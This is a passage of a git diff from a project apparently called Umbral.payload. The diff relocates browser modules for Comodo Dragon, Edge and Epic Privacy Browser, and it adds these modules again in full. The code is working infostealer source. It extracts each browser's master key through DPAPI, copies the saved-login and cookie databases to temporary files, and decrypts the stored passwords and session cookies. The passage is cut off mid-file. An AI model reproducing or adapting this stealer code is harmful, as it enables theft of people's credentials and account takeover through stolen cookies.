+ + byte[] password = await DecryptData(encryptedPassword); + + if (!string.IsNullOrWhiteSpace(url) && !string.IsNullOrWhiteSpace(username) && + !(password is null) && password.Length > 0) + { + passwords.Add(new PasswordFormat(username, Encoding.UTF8.GetString(password), url)); + } + } + + File.Delete(tempLoginDataPath); + } + catch (Exception e) + { + Console.WriteLine(e); + } + } + + return passwords.ToArray(); + } + + internal static async Task GetCookies() + { + var cookies = new List(); + + if (Directory.Exists(BrowserPath) && !(await GetEncryptionKey() is null)) + { + string[] cookiesFilePaths = await Task.Run(() => + Directory.GetFiles(BrowserPath, "Cookies", SearchOption.AllDirectories)); + + foreach (string cookiesFilePath in cookiesFilePaths) + try + { + retry: + string tempCookiesFilePath = Path.Combine(Path.GetTempPath(), Common.GenerateRandomString(15)); + if (File.Exists(tempCookiesFilePath)) goto retry; + + File.Copy(cookiesFilePath, tempCookiesFilePath); + + SQLiteHandler handler = new SQLiteHandler(tempCookiesFilePath); + + if (!handler.ReadTable("cookies")) + continue; + + for (int i = 0; i < handler.GetRowCount(); i++) + { + string host = handler.GetValue(i, "host_key"); + string name = handler.GetValue(i, "name"); + string path = handler.GetValue(i, "path"); + byte[] encryptedCookie = Encoding.Default.GetBytes(handler.GetValue(i, "encrypted_value")); + ulong expiry = Convert.ToUInt64(handler.GetValue(i, "expires_utc")); + + byte[] cookie = await DecryptData(encryptedCookie); + + if (!string.IsNullOrWhiteSpace(host) && !string.IsNullOrWhiteSpace(name) && !(cookie is null) && + cookie.Length > 0) + cookies.Add(new CookieFormat(host, name, path, Encoding.UTF8.GetString(cookie), expiry)); + } + + File.Delete(tempCookiesFilePath); + } + catch (Exception e) + { + Console.WriteLine(e); + } + } + + return cookies.ToArray(); + } + } } \ No newline at end of file diff --git a/Umbral.payload/Browsers/Comodo.cs b/Umbral.payload/Components/Browsers/Comodo.cs similarity index 96% rename from Umbral.payload/Browsers/Comodo.cs rename to Umbral.payload/Components/Browsers/Comodo.cs index c07ebf3..b4bd341 100644 --- a/Umbral.payload/Browsers/Comodo.cs +++ b/Umbral.payload/Components/Browsers/Comodo.cs @@ -1,202 +1,203 @@ -using System; -using System.Collections.Generic; -using System.IO; -using System.Linq; -using System.Security.Cryptography; -using System.Text; -using System.Threading.Tasks; -using Umbral.payload.Handlers; -using Umbral.payload.Utilities; - -namespace Umbral.payload.Browsers -{ - internal static class Comodo - { - static private readonly string BrowserPath; - - static private byte[] _encryptionKey; - - static Comodo() - { - BrowserPath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), - "Comodo", "Dragon", "User Data"); - - _encryptionKey = null; - } - - static private async Task GetEncryptionKey() - { - if (!(_encryptionKey is null)) return _encryptionKey; - - byte[] key = null; - - string localStatePath = Path.Combine(BrowserPath, "Local State"); - if (File.Exists(localStatePath)) - try - { - string content; - - using (FileStream fs = new FileStream(localStatePath, FileMode.Open, FileAccess.Read, - FileShare.ReadWrite)) - { - using (StreamReader reader = new StreamReader(fs)) - { - content = await reader.ReadToEndAsync(); - } - } - - dynamic jsonContent = SimpleJson.DeserializeObject(content); - string encryptedKey = (string)jsonContent["os_crypt"]["encrypted_key"]; - key = ProtectedData.Unprotect(Convert.FromBase64String(encryptedKey).Skip(5).ToArray(), null, - DataProtectionScope.CurrentUser); - } - catch (Exception e) - { - Console.WriteLine(e); - } - - if (!(key is null)) - { - _encryptionKey = key; - return _encryptionKey; - } - - return null; - } - - static private async Task DecryptData(byte[] buffer) - { - byte[] decryptedData = null; - byte[] key = await GetEncryptionKey(); - - if (key is null) - { - return null; - } - - try - { - - string bufferString = Encoding.Default.GetString(buffer); - if (bufferString.StartsWith("v10") || bufferString.StartsWith("v11")) - { - byte[] iv = buffer.Skip(3).Take(12).ToArray(); - byte[] cipherText = buffer.Skip(15).ToArray(); - - byte[] tag = cipherText.Skip(cipherText.Length - 16).ToArray(); - cipherText = cipherText.Take(cipherText.Length - tag.Length).ToArray(); - - decryptedData = new AesGcm().Decrypt(key, iv, null, cipherText, tag); - } - else - { - decryptedData = ProtectedData.Unprotect(buffer, null, DataProtectionScope.CurrentUser); - } - } - catch (Exception e) - { - Console.WriteLine(e); - } - - return decryptedData; - } - - internal static async Task GetPasswords() - { - var passwords = new List(); - - if (Directory.Exists(BrowserPath) && !(await GetEncryptionKey() is null)) - { - string[] loginDataPaths = await Task.Run(() => - Directory.GetFiles(BrowserPath, "Login Data", SearchOption.AllDirectories)); - - foreach (string loginDataPath in loginDataPaths) - try - { - retry: - string tempLoginDataPath = Path.Combine(Path.GetTempPath(), Common.GenerateRandomString(15)); - if (File.Exists(tempLoginDataPath)) goto retry; - - File.Copy(loginDataPath, tempLoginDataPath); - - SQLiteHandler handler = new SQLiteHandler(tempLoginDataPath); - - if (!handler.ReadTable("logins")) - continue; - - for (int i = 0; i < handler.GetRowCount(); i++) - { - string url = handler.GetValue(i, "origin_url"); - string username = handler.GetValue(i, "username_value"); - byte[] encryptedPassword = Encoding.Default.GetBytes(handler.GetValue(i, "password_value")); - - byte[] password = await DecryptData(encryptedPassword); - - if (!string.IsNullOrWhiteSpace(url) && !string.IsNullOrWhiteSpace(username) && - !(password is null) && password.Length > 0) - { - passwords.Add(new PasswordFormat(username, Encoding.UTF8.GetString(password), url)); - } - } - - File.Delete(tempLoginDataPath); - } - catch (Exception e) - { - Console.WriteLine(e); - } - } - - return passwords.ToArray(); - } - - internal static async Task GetCookies() - { - var cookies = new List(); - - if (Directory.Exists(BrowserPath) && !(await GetEncryptionKey() is null)) - { - string[] cookiesFilePaths = await Task.Run(() => - Directory.GetFiles(BrowserPath, "Cookies", SearchOption.AllDirectories)); - - foreach (string cookiesFilePath in cookiesFilePaths) - try - { - retry: - string tempCookiesFilePath = Path.Combine(Path.GetTempPath(), Common.GenerateRandomString(15)); - if (File.Exists(tempCookiesFilePath)) goto retry; - - File.Copy(cookiesFilePath, tempCookiesFilePath); - - SQLiteHandler handler = new SQLiteHandler(tempCookiesFilePath); - - if (!handler.ReadTable("cookies")) - continue; - - for (int i = 0; i < handler.GetRowCount(); i++) - { - string host = handler.GetValue(i, "host_key"); - string name = handler.GetValue(i, "name"); - string path = handler.GetValue(i, "path"); - byte[] encryptedCookie = Encoding.Default.GetBytes(handler.GetValue(i, "encrypted_value")); - ulong expiry = Convert.ToUInt64(handler.GetValue(i, "expires_utc")); - - byte[] cookie = await DecryptData(encryptedCookie); - - if (!string.IsNullOrWhiteSpace(host) && !string.IsNullOrWhiteSpace(name) && !(cookie is null) && - cookie.Length > 0) - cookies.Add(new CookieFormat(host, name, path, Encoding.UTF8.GetString(cookie), expiry)); - } - - File.Delete(tempCookiesFilePath); - } - catch (Exception e) - { - Console.WriteLine(e); - } - } - - return cookies.ToArray(); - } - } +using System; +using System.Collections.Generic; +using System.IO; +using System.Linq; +using System.Security.Cryptography; +using System.Text; +using System.Threading.Tasks; +using Umbral.payload.Components.Helpers; +using Umbral.payload.Components.Algorithms; +using Umbral.payload.Components.Utilities; + +namespace Umbral.payload.Components.Browsers +{ + internal static class Comodo + { + static private readonly string BrowserPath; + + static private byte[] _encryptionKey; + + static Comodo() + { + BrowserPath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), + "Comodo", "Dragon", "User Data"); + + _encryptionKey = null; + } + + static private async Task GetEncryptionKey() + { + if (!(_encryptionKey is null)) return _encryptionKey; + + byte[] key = null; + + string localStatePath = Path.Combine(BrowserPath, "Local State"); + if (File.Exists(localStatePath)) + try + { + string content; + + using (FileStream fs = new FileStream(localStatePath, FileMode.Open, FileAccess.Read, + FileShare.ReadWrite)) + { + using (StreamReader reader = new StreamReader(fs)) + { + content = await reader.ReadToEndAsync(); + } + } + + dynamic jsonContent = SimpleJson.DeserializeObject(content); + string encryptedKey = (string)jsonContent["os_crypt"]["encrypted_key"]; + key = ProtectedData.Unprotect(Convert.FromBase64String(encryptedKey).Skip(5).ToArray(), null, + DataProtectionScope.CurrentUser); + } + catch (Exception e) + { + Console.WriteLine(e); + } + + if (!(key is null)) + { + _encryptionKey = key; + return _encryptionKey; + } + + return null; + } + + static private async Task DecryptData(byte[] buffer) + { + byte[] decryptedData = null; + byte[] key = await GetEncryptionKey(); + + if (key is null) + { + return null; + } + + try + { + + string bufferString = Encoding.Default.GetString(buffer); + if (bufferString.StartsWith("v10") || bufferString.StartsWith("v11")) + { + byte[] iv = buffer.Skip(3).Take(12).ToArray(); + byte[] cipherText = buffer.Skip(15).ToArray(); + + byte[] tag = cipherText.Skip(cipherText.Length - 16).ToArray(); + cipherText = cipherText.Take(cipherText.Length - tag.Length).ToArray(); + + decryptedData = new AesGcm().Decrypt(key, iv, null, cipherText, tag); + } + else + { + decryptedData = ProtectedData.Unprotect(buffer, null, DataProtectionScope.CurrentUser); + } + } + catch (Exception e) + { + Console.WriteLine(e); + } + + return decryptedData; + } + + internal static async Task GetPasswords() + { + var passwords = new List(); + + if (Directory.Exists(BrowserPath) && !(await GetEncryptionKey() is null)) + { + string[] loginDataPaths = await Task.Run(() => + Directory.GetFiles(BrowserPath, "Login Data", SearchOption.AllDirectories)); + + foreach (string loginDataPath in loginDataPaths) + try + { + retry: + string tempLoginDataPath = Path.Combine(Path.GetTempPath(), Common.GenerateRandomString(15)); + if (File.Exists(tempLoginDataPath)) goto retry; + + File.Copy(loginDataPath, tempLoginDataPath); + + SQLiteHandler handler = new SQLiteHandler(tempLoginDataPath); + + if (!handler.ReadTable("logins")) + continue; + + for (int i = 0; i < handler.GetRowCount(); i++) + { + string url = handler.GetValue(i, "origin_url"); + string username = handler.GetValue(i, "username_value"); + byte[] encryptedPassword = Encoding.Default.GetBytes(handler.GetValue(i, "password_value")); + + byte[] password = await DecryptData(encryptedPassword); + + if (!string.IsNullOrWhiteSpace(url) && !string.IsNullOrWhiteSpace(username) && + !(password is null) && password.Length > 0) + { + passwords.Add(new PasswordFormat(username, Encoding.UTF8.GetString(password), url)); + } + } + + File.Delete(tempLoginDataPath); + } + catch (Exception e) + { + Console.WriteLine(e); + } + } + + return passwords.ToArray(); + } + + internal static async Task GetCookies() + { + var cookies = new List(); + + if (Directory.Exists(BrowserPath) && !(await GetEncryptionKey() is null)) + { + string[] cookiesFilePaths = await Task.Run(() => + Directory.GetFiles(BrowserPath, "Cookies", SearchOption.AllDirectories)); + + foreach (string cookiesFilePath in cookiesFilePaths) + try + { + retry: + string tempCookiesFilePath = Path.Combine(Path.GetTempPath(), Common.GenerateRandomString(15)); + if (File.Exists(tempCookiesFilePath)) goto retry; + + File.Copy(cookiesFilePath, tempCookiesFilePath); + + SQLiteHandler handler = new SQLiteHandler(tempCookiesFilePath); + + if (!handler.ReadTable("cookies")) + continue; + + for (int i = 0; i < handler.GetRowCount(); i++) + { + string host = handler.GetValue(i, "host_key"); + string name = handler.GetValue(i, "name"); + string path = handler.GetValue(i, "path"); + byte[] encryptedCookie = Encoding.Default.GetBytes(handler.GetValue(i, "encrypted_value")); + ulong expiry = Convert.ToUInt64(handler.GetValue(i, "expires_utc")); + + byte[] cookie = await DecryptData(encryptedCookie); + + if (!string.IsNullOrWhiteSpace(host) && !string.IsNullOrWhiteSpace(name) && !(cookie is null) && + cookie.Length > 0) + cookies.Add(new CookieFormat(host, name, path, Encoding.UTF8.GetString(cookie), expiry)); + } + + File.Delete(tempCookiesFilePath); + } + catch (Exception e) + { + Console.WriteLine(e); + } + } + + return cookies.ToArray(); + } + } } \ No newline at end of file diff --git a/Umbral.payload/Browsers/Edge.cs b/Umbral.payload/Components/Browsers/Edge.cs similarity index 96% rename from Umbral.payload/Browsers/Edge.cs rename to Umbral.payload/Components/Browsers/Edge.cs index e59680d..2937c43 100644 --- a/Umbral.payload/Browsers/Edge.cs +++ b/Umbral.payload/Components/Browsers/Edge.cs @@ -1,206 +1,207 @@ -using System; -using System.Collections.Generic; -using System.IO; -using System.Linq; -using System.Security.Cryptography; -using System.Text; -using System.Threading.Tasks; -using Umbral.payload.Handlers; -using Umbral.payload.Utilities; - -namespace Umbral.payload.Browsers -{ - internal static class Edge - { - static private readonly string BrowserPath; - - static private byte[] _encryptionKey; - - static Edge() - { - BrowserPath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), - "Microsoft", "Edge", "User Data"); - - _encryptionKey = null; - } - - static private async Task GetEncryptionKey() - { - if (!(_encryptionKey is null)) return _encryptionKey; - - byte[] key = null; - - string localStatePath = Path.Combine(BrowserPath, "Local State"); - if (File.Exists(localStatePath)) - try - { - string content; - - using (FileStream fs = new FileStream(localStatePath, FileMode.Open, FileAccess.Read, - FileShare.ReadWrite)) - { - using (StreamReader reader = new StreamReader(fs)) - { - content = await reader.ReadToEndAsync(); - } - } - - dynamic jsonContent = SimpleJson.DeserializeObject(content); - string encryptedKey = (string)jsonContent["os_crypt"]["encrypted_key"]; - key = ProtectedData.Unprotect(Convert.FromBase64String(encryptedKey).Skip(5).ToArray(), null, - DataProtectionScope.CurrentUser); - } - catch (Exception e) - { - Console.WriteLine(e); - } - - if (!(key is null)) - { - _encryptionKey = key; - return _encryptionKey; - } - - return null; - } - - static private async Task DecryptData(byte[] buffer) - { - byte[] decryptedData = null; - byte[] key = await GetEncryptionKey(); - - if (key is null) - { - return null; - } - - try - { - - string bufferString = Encoding.Default.GetString(buffer); - if (bufferString.StartsWith("v10") || bufferString.StartsWith("v11")) - { - byte[] iv = buffer.Skip(3).Take(12).ToArray(); - byte[] cipherText = buffer.Skip(15).ToArray(); - - byte[] tag = cipherText.Skip(cipherText.Length - 16).ToArray(); - cipherText = cipherText.Take(cipherText.Length - tag.Length).ToArray(); - - decryptedData = new AesGcm().Decrypt(key, iv, null, cipherText, tag); - } - else - { - decryptedData = ProtectedData.Unprotect(buffer, null, DataProtectionScope.CurrentUser); - } - } - catch (Exception e) - { - Console.WriteLine(e); - } - - return decryptedData; - } - - internal static async Task GetPasswords() - { - var passwords = new List(); - - if (Directory.Exists(BrowserPath) && !(await GetEncryptionKey() is null)) - { - string[] loginDataPaths = await Task.Run(() => - Directory.GetFiles(BrowserPath, "Login Data", SearchOption.AllDirectories)); - - foreach (string loginDataPath in loginDataPaths) - try - { - retry: - string tempLoginDataPath = Path.Combine(Path.GetTempPath(), Common.GenerateRandomString(15)); - if (File.Exists(tempLoginDataPath)) goto retry; - - File.Copy(loginDataPath, tempLoginDataPath); - - SQLiteHandler handler = new SQLiteHandler(tempLoginDataPath); - handler.ReadTable("logins"); - - for (int i = 0; i < handler.GetRowCount(); i++) - { - string url = handler.GetValue(i, "origin_url"); - string username = handler.GetValue(i, "username_value"); - byte[] encryptedPassword = Encoding.Default.GetBytes(handler.GetValue(i, "password_value")); - - byte[] password = await DecryptData(encryptedPassword); - - if (!string.IsNullOrWhiteSpace(url) && !string.IsNullOrWhiteSpace(username) && - !(password is null) && password.Length > 0) - { - passwords.Add(new PasswordFormat(username, Encoding.UTF8.GetString(password), url)); - } - } - - File.Delete(tempLoginDataPath); - } - catch (Exception e) - { - Console.WriteLine(e); - } - } - - return passwords.ToArray(); - } - - internal static async Task GetCookies() - { - var cookies = new List(); - - if (Directory.Exists(BrowserPath) && !(await GetEncryptionKey() is null)) - { - string[] cookiesFilePaths = await Task.Run(() => - Directory.GetFiles(BrowserPath, "Cookies", SearchOption.AllDirectories)); - - foreach (string cookiesFilePath in cookiesFilePaths) - try - { - retry: - string tempCookiesFilePath = Path.Combine(Path.GetTempPath(), Common.GenerateRandomString(15)); - if (File.Exists(tempCookiesFilePath)) - { - goto retry; - } - - - File.Copy(cookiesFilePath, tempCookiesFilePath); - - SQLiteHandler handler = new SQLiteHandler(tempCookiesFilePath); - - if (!handler.ReadTable("cookies")) - continue; - - for (int i = 0; i < handler.GetRowCount(); i++) - { - string host = handler.GetValue(i, "host_key"); - string name = handler.GetValue(i, "name"); - string path = handler.GetValue(i, "path"); - byte[] encryptedCookie = Encoding.Default.GetBytes(handler.GetValue(i, "encrypted_value")); - ulong expiry = Convert.ToUInt64(handler.GetValue(i, "expires_utc")); - - byte[] cookie = await DecryptData(encryptedCookie); - - if (!string.IsNullOrWhiteSpace(host) && !string.IsNullOrWhiteSpace(name) && - !(cookie is null) && - cookie.Length > 0) - cookies.Add(new CookieFormat(host, name, path, Encoding.UTF8.GetString(cookie), - expiry)); - } - - File.Delete(tempCookiesFilePath); - } - catch (Exception e) - { - Console.WriteLine(e); - } - } - - return cookies.ToArray(); - } - } +using System; +using System.Collections.Generic; +using System.IO; +using System.Linq; +using System.Security.Cryptography; +using System.Text; +using System.Threading.Tasks; +using Umbral.payload.Components.Helpers; +using Umbral.payload.Components.Algorithms; +using Umbral.payload.Components.Utilities; + +namespace Umbral.payload.Components.Browsers +{ + internal static class Edge + { + static private readonly string BrowserPath; + + static private byte[] _encryptionKey; + + static Edge() + { + BrowserPath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), + "Microsoft", "Edge", "User Data"); + + _encryptionKey = null; + } + + static private async Task GetEncryptionKey() + { + if (!(_encryptionKey is null)) return _encryptionKey; + + byte[] key = null; + + string localStatePath = Path.Combine(BrowserPath, "Local State"); + if (File.Exists(localStatePath)) + try + { + string content; + + using (FileStream fs = new FileStream(localStatePath, FileMode.Open, FileAccess.Read, + FileShare.ReadWrite)) + { + using (StreamReader reader = new StreamReader(fs)) + { + content = await reader.ReadToEndAsync(); + } + } + + dynamic jsonContent = SimpleJson.DeserializeObject(content); + string encryptedKey = (string)jsonContent["os_crypt"]["encrypted_key"]; + key = ProtectedData.Unprotect(Convert.FromBase64String(encryptedKey).Skip(5).ToArray(), null, + DataProtectionScope.CurrentUser); + } + catch (Exception e) + { + Console.WriteLine(e); + } + + if (!(key is null)) + { + _encryptionKey = key; + return _encryptionKey; + } + + return null; + } + + static private async Task DecryptData(byte[] buffer) + { + byte[] decryptedData = null; + byte[] key = await GetEncryptionKey(); + + if (key is null) + { + return null; + } + + try + { + + string bufferString = Encoding.Default.GetString(buffer); + if (bufferString.StartsWith("v10") || bufferString.StartsWith("v11")) + { + byte[] iv = buffer.Skip(3).Take(12).ToArray(); + byte[] cipherText = buffer.Skip(15).ToArray(); + + byte[] tag = cipherText.Skip(cipherText.Length - 16).ToArray(); + cipherText = cipherText.Take(cipherText.Length - tag.Length).ToArray(); + + decryptedData = new AesGcm().Decrypt(key, iv, null, cipherText, tag); + } + else + { + decryptedData = ProtectedData.Unprotect(buffer, null, DataProtectionScope.CurrentUser); + } + } + catch (Exception e) + { + Console.WriteLine(e); + } + + return decryptedData; + } + + internal static async Task GetPasswords() + { + var passwords = new List(); + + if (Directory.Exists(BrowserPath) && !(await GetEncryptionKey() is null)) + { + string[] loginDataPaths = await Task.Run(() => + Directory.GetFiles(BrowserPath, "Login Data", SearchOption.AllDirectories)); + + foreach (string loginDataPath in loginDataPaths) + try + { + retry: + string tempLoginDataPath = Path.Combine(Path.GetTempPath(), Common.GenerateRandomString(15)); + if (File.Exists(tempLoginDataPath)) goto retry; + + File.Copy(loginDataPath, tempLoginDataPath); + + SQLiteHandler handler = new SQLiteHandler(tempLoginDataPath); + handler.ReadTable("logins"); + + for (int i = 0; i < handler.GetRowCount(); i++) + { + string url = handler.GetValue(i, "origin_url"); + string username = handler.GetValue(i, "username_value"); + byte[] encryptedPassword = Encoding.Default.GetBytes(handler.GetValue(i, "password_value")); + + byte[] password = await DecryptData(encryptedPassword); + + if (!string.IsNullOrWhiteSpace(url) && !string.IsNullOrWhiteSpace(username) && + !(password is null) && password.Length > 0) + { + passwords.Add(new PasswordFormat(username, Encoding.UTF8.GetString(password), url)); + } + } + + File.Delete(tempLoginDataPath); + } + catch (Exception e) + { + Console.WriteLine(e); + } + } + + return passwords.ToArray(); + } + + internal static async Task GetCookies() + { + var cookies = new List(); + + if (Directory.Exists(BrowserPath) && !(await GetEncryptionKey() is null)) + { + string[] cookiesFilePaths = await Task.Run(() => + Directory.GetFiles(BrowserPath, "Cookies", SearchOption.AllDirectories)); + + foreach (string cookiesFilePath in cookiesFilePaths) + try + { + retry: + string tempCookiesFilePath = Path.Combine(Path.GetTempPath(), Common.GenerateRandomString(15)); + if (File.Exists(tempCookiesFilePath)) + { + goto retry; + } + + + File.Copy(cookiesFilePath, tempCookiesFilePath); + + SQLiteHandler handler = new SQLiteHandler(tempCookiesFilePath); + + if (!handler.ReadTable("cookies")) + continue; + + for (int i = 0; i < handler.GetRowCount(); i++) + { + string host = handler.GetValue(i, "host_key"); + string name = handler.GetValue(i, "name"); + string path = handler.GetValue(i, "path"); + byte[] encryptedCookie = Encoding.Default.GetBytes(handler.GetValue(i, "encrypted_value")); + ulong expiry = Convert.ToUInt64(handler.GetValue(i, "expires_utc")); + + byte[] cookie = await DecryptData(encryptedCookie); + + if (!string.IsNullOrWhiteSpace(host) && !string.IsNullOrWhiteSpace(name) && + !(cookie is null) && + cookie.Length > 0) + cookies.Add(new CookieFormat(host, name, path, Encoding.UTF8.GetString(cookie), + expiry)); + } + + File.Delete(tempCookiesFilePath); + } + catch (Exception e) + { + Console.WriteLine(e); + } + } + + return cookies.ToArray(); + } + } } \ No newline at end of file diff --git a/Umbral.payload/Browsers/EpicPrivacy.cs b/Umbral.payload/Components/Browsers/EpicPrivacy.cs similarity index 96% rename from Umbral.payload/Browsers/EpicPrivacy.cs rename to Umbral.payload/Components/Browsers/EpicPrivacy.cs index 70fed37..e5d7f5d 100644 --- a/Umbral.payload/Browsers/EpicPrivacy.cs +++ b/Umbral.payload/Components/Browsers/EpicPrivacy.cs @@ -1,202 +1,203 @@ -using System; -using System.Collections.Generic; -using System.IO; -using System.Linq; -using System.Security.Cryptography; -using System.Text; -using System.Threading.Tasks; -using Umbral.payload.Handlers; -using Umbral.payload.Utilities; - -namespace Umbral.payload.Browsers -{ - internal static class EpicPrivacy - { - static private readonly string BrowserPath; - - static private byte[] _encryptionKey; - - static EpicPrivacy() - { - BrowserPath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), - "Epic Privacy Browser", "User Data"); - - _encryptionKey = null; - } - - static private async Task GetEncryptionKey() - { - if (!(_encryptionKey is null)) return _encryptionKey; - - byte[] key = null; - - string localStatePath = Path.Combine(BrowserPath, "Local State"); - if (File.Exists(localStatePath)) - try - { - string content; - - using (FileStream fs = new FileStream(localStatePath, FileMode.Open, FileAccess.Read, - FileShare.ReadWrite)) - { - using (StreamReader reader = new StreamReader(fs)) - { - content = await reader.ReadToEndAsync(); - } - } - - dynamic jsonContent = SimpleJson.DeserializeObject(content); - string encryptedKey = (string)jsonContent["os_crypt"]["encrypted_key"]; - key = ProtectedData.Unprotect(Convert.FromBase64String(encryptedKey).Skip(5).ToArray(), null, - DataProtectionScope.CurrentUser); - } - catch (Exception e) - { - Console.WriteLine(e); - } - - if (!(key is null)) - { - _encryptionKey = key; - return _encryptionKey; - } - - return null; - } - - static private async Task DecryptData(byte[] buffer) - { - byte[] decryptedData = null; - byte[] key = await GetEncryptionKey(); - - if (key is null) - { - return null; - } - - try - { - - string bufferString = Encoding.Default.GetString(buffer); - if (bufferString.StartsWith("v10") || bufferString.StartsWith("v11")) - { - byte[] iv = buffer.Skip(3).Take(12).ToArray(); - byte[] cipherText = buffer.Skip(15).ToArray(); - - byte[] tag = cipherText.Skip(cipherText.Length - 16).ToArray(); - cipherText = cipherText.Take(cipherText.Length - tag.Length).ToArray(); - - decryptedData = new AesGcm().Decrypt(key, iv, null, cipherText, tag); - } - else - { - decryptedData = ProtectedData.Unprotect(buffer, null, DataProtectionScope.CurrentUser); - } - } - catch (Exception e) - { - Console.WriteLine(e); - } - - return decryptedData; - } - - internal static async Task GetPasswords() - { - var passwords = new List(); - - if (Directory.Exists(BrowserPath) && !(await GetEncryptionKey() is null)) - { - string[] loginDataPaths = await Task.Run(() => - Directory.GetFiles(BrowserPath, "Login Data", SearchOption.AllDirectories)); - - foreach (string loginDataPath in loginDataPaths) - try - { - retry: - string tempLoginDataPath = Path.Combine(Path.GetTempPath(), Common.GenerateRandomString(15)); - if (File.Exists(tempLoginDataPath)) goto retry; - - File.Copy(loginDataPath, tempLoginDataPath); - - SQLiteHandler handler = new SQLiteHandler(tempLoginDataPath); - - if (!handler.ReadTable("logins")) - continue; - - for (int i = 0; i < handler.GetRowCount(); i++) - { - string url = handler.GetValue(i, "origin_url"); - string username = handler.GetValue(i, "username_value"); - byte[] encryptedPassword = Encoding.Default.GetBytes(handler.GetValue(i, "password_value")); - - byte[] password = await DecryptData(encryptedPassword); - - if (!string.IsNullOrWhiteSpace(url) && !string.IsNullOrWhiteSpace(username) && - !(password is null) && password.Length > 0) - { - passwords.Add(new PasswordFormat(username, Encoding.UTF8.GetString(password), url)); - } - } - - File.Delete(tempLoginDataPath); - } - catch (Exception e) - { - Console.WriteLine(e); - } - } - - return passwords.ToArray(); - } - - internal static async Task GetCookies() - { - var cookies = new List(); - - if (Directory.Exists(BrowserPath) && !(await GetEncryptionKey() is null)) - { - string[] cookiesFilePaths = await Task.Run(() => - Directory.GetFiles(BrowserPath, "Cookies", SearchOption.AllDirectories)); - - foreach (string cookiesFilePath in cookiesFilePaths) - try - { - retry: - string tempCookiesFilePath = Path.Combine(Path.GetTempPath(), Common.GenerateRandomString(15)); - if (File.Exists(tempCookiesFilePath)) goto retry; - - File.Copy(cookiesFilePath, tempCookiesFilePath); - - SQLiteHandler handler = new SQLiteHandler(tempCookiesFilePath); - - if (!handler.ReadTable("cookies")) - continue; - - for (int i = 0; i < handler.GetRowCount(); i++) - { - string host = handler.GetValue(i, "host_key"); - string name = handler.GetValue(i, "name"); - string path = handler.GetValue(i, "path"); - byte[] encryptedCookie = Encoding.Default.GetBytes(handler.GetValue(i, "encrypted_value")); - ulong expiry = Convert.ToUInt64(handler.GetValue(i, "expires_utc")); - - byte[] cookie = await DecryptData(encryptedCookie); - - if (!string.IsNullOrWhiteSpace(host) && !string.IsNullOrWhiteSpace(name) && !(cookie is null) && - cookie.Length > 0) - cookies.Add(new CookieFormat(host, name, path, Encoding.UTF8.GetString(cookie), expiry)); - } - - File.Delete(tempCookiesFilePath); - } - catch (Exception e) - { - Console.WriteLine(e); - } - } - - return cookies.ToArray(); - } - } +using System; +using System.Collections.Generic; +using System.IO; +using System.Linq; +using System.Security.Cryptography; +using System.Text; +using System.Threading.Tasks; +using Umbral.payload.Components.Helpers; +using Umbral.payload.Components.Algorithms; +using Umbral.payload.Components.Utilities; + +namespace Umbral.payload.Components.Browsers +{ + internal static class EpicPrivacy + { + static private readonly string BrowserPath; + + static private byte[] _encryptionKey; + + static EpicPrivacy() + { + BrowserPath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), + "Epic Privacy Browser", "User Data"); + + _encryptionKey = null; + } + + static private async Task GetEncryptionKey() + { + if (!(_encryptionKey is null)) return _encryptionKey; + + byte[] key = null; + + string localStatePath = Path.Combine(BrowserPath, "Local State"); + if (File.Exists(localStatePath)) + try + { + string content; + + using (FileStream fs = new FileStream(localStatePath, FileMode.Open, FileAccess.Read, + FileShare.ReadWrite)) + { + using (StreamReader reader = new StreamReader(fs)) + { + content = await reader.ReadToEndAsync(); + } + } + + dynamic jsonContent = SimpleJson.DeserializeObject(content); + string encryptedKey = (string)jsonContent["os_crypt"]["encrypted_key"]; + key = ProtectedData.Unprotect(Convert.FromBase64String(encryptedKey).Skip(5).ToArray(), null, + DataProtectionScope.CurrentUser); + } + catch (Exception e) + { + Console.WriteLine(e); + } + + if (!(key is null)) + { + _encryptionKey = key; + return _encryptionKey; + } + + return null; + } + + static private async Task DecryptData(byte[] buffer) + { + byte[] decryptedData = null; + byte[] key = await GetEncryptionKey(); + + if (key is null) + { + return null; + } + + try + { + + string bufferString = Encoding.Default.GetString(buffer); + if (bufferString.StartsWith("v10") || bufferString.StartsWith("v11")) + { + byte[] iv = buffer.Skip(3).Take(12).ToArray(); + byte[] cipherText = buffer.Skip(15).ToArray(); + + byte[] tag = cipherText.Skip(cipherText.Length - 16).ToArray(); + cipherText = cipherText.Take(cipherText.Length - tag.Length).ToArray(); + + decryptedData = new AesGcm().Decrypt(key, iv, null, cipherText, tag); + } + else + { + decryptedData = ProtectedData.Unprotect(buffer, null, DataProtectionScope.CurrentUser); + } + } + catch (Exception e) + { + Console.WriteLine(e); + } + + return decryptedData; + } + + internal static async Task GetPasswords() + { + var passwords = new List(); + + if (Directory.Exists(BrowserPath) && !(await GetEncryptionKey() is null)) + { + string[] loginDataPaths = await Task.Run(() => + Directory.GetFiles(BrowserPath, "Login Data", SearchOption.AllDirectories)); + + foreach (string loginDataPath in loginDataPaths) + try + { + retry: + string tempLoginDataPath = Path.Combine(Path.GetTempPath(), Common.GenerateRandomString(15)); + if (File.Exists(tempLoginDataPath)) goto retry; + + File.Copy(loginDataPath, tempLoginDataPath); + + SQLiteHandler handler = new SQLiteHandler(tempLoginDataPath); + + if (!handler.ReadTable("logins")) + continue; + + for (int i = 0; i < handler.GetRowCount(); i++) + { + string url = handler.GetValue(i, "origin_url"); + string username = handler.GetValue(i, "username_value"); + byte[] encryptedPassword = Encoding.Default.GetBytes(handler.GetValue(i, "password_value")); + + byte[] password = await DecryptData(encryptedPassword); + + if (!string.IsNullOrWhiteSpace(url) && !string.IsNullOrWhiteSpace(username) && + !(password is null) && password.Length > 0) + { + passwords.Add(new PasswordFormat(username, Encoding.UTF8.GetString(password), url)); + } + } + + File.Delete(tempLoginDataPath); + } + catch (Exception e) + { + Console.WriteLine(e); + } + } + + return passwords.ToArray(); + } + + internal static async Task GetCookies() + { + var cookies = new List(); + + if (Directory.Exists(BrowserPath) && !(await GetEncryptionKey() is null)) + { + string[] cookiesFilePaths = await Task.Run(() => + Directory.GetFiles(BrowserPath, "Cookies", 